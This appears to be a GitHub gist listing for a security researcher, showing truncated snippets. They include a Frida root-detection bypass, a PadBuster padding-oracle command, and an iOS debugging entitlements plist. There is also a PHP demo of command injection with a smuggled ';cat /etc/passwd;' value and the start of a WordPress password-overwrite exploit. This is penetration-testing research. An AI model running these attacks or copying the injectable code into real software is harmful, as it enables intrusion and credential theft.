I hereby claim:
- I am pich4ya on github.
- I am pichaya (https://keybase.io/pichaya) on keybase.
- I have a public key ASAWUHK10DC94H4bI4qpXRsGFGypRqHnK3MPjvJZMnd1bwo
To claim this, I am signing this object:
/* | |
ต้อง | |
- แน่ใจว่ามีไฟล์ root certificate แล้ว | |
- ตั้ง $JAVA_HOME ให้ถูกที่ และแน่ใจว่ามีโฟล์ $JAVA_HOME/jre/lib/security/cacerts | |
- รหัสผ่านของ Java keystore เป็นคำว่า changeit โดยค่า default | |
วิธีการ | |
1. ต้องไปดาวน์โหลดหรือขอ root certificate ที่จะใช้มาก่อน | |
Root certificates contain public information and CAs always make them available for anyone. | |
$ wget https://sth.sh/demo/STH_Root_CA.pem -O ca.pem |
// $ frida -l antiroot.js -U -f com.example.app --no-pause | |
// CHANGELOG by Pichaya Morimoto ([email protected]): | |
// - I added extra whitelisted items to deal with the latest versions | |
// of RootBeer/Cordova iRoot as of August 6, 2019 | |
// - The original one just fucked up (kill itself) if Magisk is installed lol | |
// Credit & Originally written by: https://codeshare.frida.re/@dzonerzy/fridantiroot/ | |
// If this isn't working in the future, check console logs, rootbeer src, or libtool-checker.so | |
Java.perform(function() { | |
var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu", |
brew install openssl | |
brew install perl | |
brew unlink perl && brew link perl | |
env LDFLAGS="-L$(brew --prefix openssl)/lib" CFLAGS="-I$(brew --prefix openssl)/include" perl -MCPAN -e 'install Crypt::SSLeay' | |
git clone https://github.com/GDSSecurity/PadBuster && cd PadBuster | |
perl padbuster.pl "https://example.local/ScriptResource.axd?d=yyy" yyy 16 -encoding 3 -bruteforce -log -verbose -cookies "ASP.NET_SessionId=xxx" |
1. $ sudo vim /etc/pam.d/sudo | |
2. add this line on top of the content | |
auth sufficient pam_tid.so | |
3. | |
:w! | |
:q | |
4. works now for Terminal, but for iTerm 2, go to top menu |
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
<plist version="1.0"> | |
<dict> | |
<key>platform-application</key> | |
<true/> | |
<key>get-task-allow</key> | |
<true/> | |
<key>task_for_pid-allow</key> | |
<true/> |
I hereby claim:
To claim this, I am signing this object:
<?php | |
// @author Pichaya Morimoto (Siam Thanat Hack Company Limited) | |
$file='image.png'; | |
$_GET['size']='\\473\\143\\141\\164\\40\\57\\145\\164\\143\\57\\160\\141\\163\\163\\167\\144\\473'; | |
$e = stripcslashes( | |
preg_replace('/[^0-9\\\]/', | |
'', | |
isset($_GET['size'])?$_GET['size'] : '25') | |
); | |
echo system("convert $file --resize $e ./thumbs/$file"); |
1.) BackgroundServiceNew will be triggered through JobInfo.Builder(..) in: | |
com/electronicshell/nbtcconsult/QuestionActivity.java | |
34:import com.electronicshell.nbtcconsult.BackGroundUse.BackgroundServiceNew; | |
122: JobInfo jobInfo = new JobInfo.Builder(123, new ComponentName(context, BackgroundServiceNew.class)).setRequiresCharging(true).setRequiredNetworkType(1).setPersisted(true).setPeriodic(900000L).build(); | |
com/electronicshell/nbtcconsult/BackGroundUse/BootDeviceReceiver.java | |
35:import com.electronicshell.nbtcconsult.BackGroundUse.BackgroundServiceNew; | |
91: JobInfo jobInfo = new JobInfo.Builder(123, new ComponentName(context, BackgroundServiceNew.class)).setRequiresCharging(true).setRequiredNetworkType(1).setPersisted(true).setPeriodic(900000L).build(); | |
com/electronicshell/nbtcconsult/NewMenuActivity.java |
import java.util.*; | |
import java.io.*; | |
import java.security.*; | |
public class ChangePassword | |
{ | |
private final static JKS j = new JKS(); | |
public static void main(String[] args) throws Exception | |
{ |
# @author longcat (Pichaya Morimoto / [email protected]) | |
# update user's password hash using some match&replace magic | |
# | |
# Exploit for wpscan's command output: | |
# [+] http://<wp-site>/searchreplacedb2.php | |
# | Found By: Search Replace Db2 (Aggressive Detection) | |
# | Confidence: 100% | |
# | Reference: https://interconnectit.com/products/search-and-replace-for-wordpress-databases/ | |
# | |
# Originally written by Lee Nichol |